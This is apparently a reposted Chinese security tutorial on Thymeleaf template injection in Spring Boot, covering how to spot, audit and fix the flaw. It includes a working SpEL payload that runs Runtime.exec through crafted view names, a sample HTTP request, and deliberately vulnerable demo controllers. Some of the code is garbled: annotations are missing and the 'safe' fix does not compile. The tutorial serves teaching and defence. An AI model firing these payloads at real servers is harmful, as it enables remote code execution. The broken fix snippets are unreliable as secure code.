一、日常编码中常见的两种漏洞场景
1.1 模板参数外部可控
"/path") (
public String path( String lang) {
return lang ;
}
(向右滑动,查看更多)
实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。
1.2 使用@GetMapping注解 且没有return
根据spring boot定义,如果controller无返回值,则以 GetMapping
的路由为视图名称。当然,对于每个 http
请求来讲,其实就是将请求的url
作为视图名称,调用模板引擎去解析。"/doc/{document}") (
public void getDocument( String document) {
logger.info("Retrieving " + document);
}
(向右滑动,查看更多) tips:没有return 就是返回值为viod。
二 、如何构造payload
通过**${}**::.x构造表达式会由Thymeleaf去执行 __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
(向右滑动,查看更多)
GET /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659928725
Connection: close
(向右滑动,查看更多)
payload构造:注意: 模板名称后存在拼接的payload必须以 ::.x结尾
package com.thymeleaf.jack.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Author:Jack @Date:2022.09.28
*/
// 通过__${}__::.x构造表达式会由Thymeleaf去执行
public class demo {
private static final Logger logger = LogManager.getLogger(demo.class);
public String getIndex(Model model) {
model.addAttribute("name", "jack");
return "index";
}
// 模板后存在拼接的payload必须以 ::.x结尾
//path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
public String path( String lang) {
return "user/" + lang + "/welcome";
}
// 根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。
// 当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析
//poc:/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
public void getDocument( String document) {
logger.info("Retrieving " + document);
}
//poc 结尾可以去除 ::.x
///fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
public String fragment( String section) {
return "welcome :: " + section; //fragment is tainted
}
}
(向右滑动,查看更多)
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>
(向右滑动,查看更多)
三、 查找漏洞
黑盒:更换主题等页面打payload
场景1: 切换主题/背景 的功能区,将参数改为 payload。
白盒审计:
a.模板参数外部可控:这个很难写出真正意义上的漏洞匹配的正则.我在日常的代码审计过程中这样的
1 查看所有的模板文件名称 假设index.html开始; 2 正则搜索控制器 return.*?".*?模板名称
return.*?".*?index
查看该接口中 index 参数,是不是外部可控,参数 中是否 不含有 HttpServlet,rerun前面 是不是 没有重定向 redirect,如果都是 那就存在此漏洞,其实模板文件也不会很多 ,所以这样去白盒审计这个漏洞。
b.查找含参数
@GetMapping
路由 无return,先正则@GetMapping(.*?)s*publics+void/gm
注意 多行匹配加全局搜索 这样才不会遗漏, 四、漏洞修复
我个人推荐的修复方式
我个人任务应该白名单的修复方式。
@RequestMapping("/vulnpath")
public String path(@RequestParam String lang) {
return lang;
}
@RequestMapping("/safepath")
public String path(@RequestParam int lang) {
int num = request.getParemeter("lang");
HashMap<Integer, String> tems = new HashMap<Integer, String>();
tems.put(1, "red template");
tems.put(2, "yellow template");
tems.put(3, "green template");
return tems.get(num)
}
(向右滑动,查看更多)
网上搜集的修复方式
我个人觉得不完美,安全不能影响业务需求呀,这样修复影响了功能使用。 1 使用注解
@ResponseBody
或者@RestController
则不再调用模板解析2 模板名称由redirect:或forward:开头(
"/safe/redirect") (
public String redirect( String url) {
return "redirect:" + url;
//CWE-601, as we can control the hostname in redirect
(向右滑动,查看更多)
不走 ThymeleafView
渲染即无法利用,根据spring boot定义,如果名称以redirect:开头,则不再调用ThymeleafView
解析,调用RedirectView
去解析controller的返回值。
3 参数中有
HttpServletResponse
,设置为HttpServletResponse
,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。"/safe/doc/{document}") (
public void getDocument( String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
(向右滑动,查看更多)
精彩推荐
原文始发于微信公众号(FreeBuf):thymeleaf模板注入学习与研究--查找与防御
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论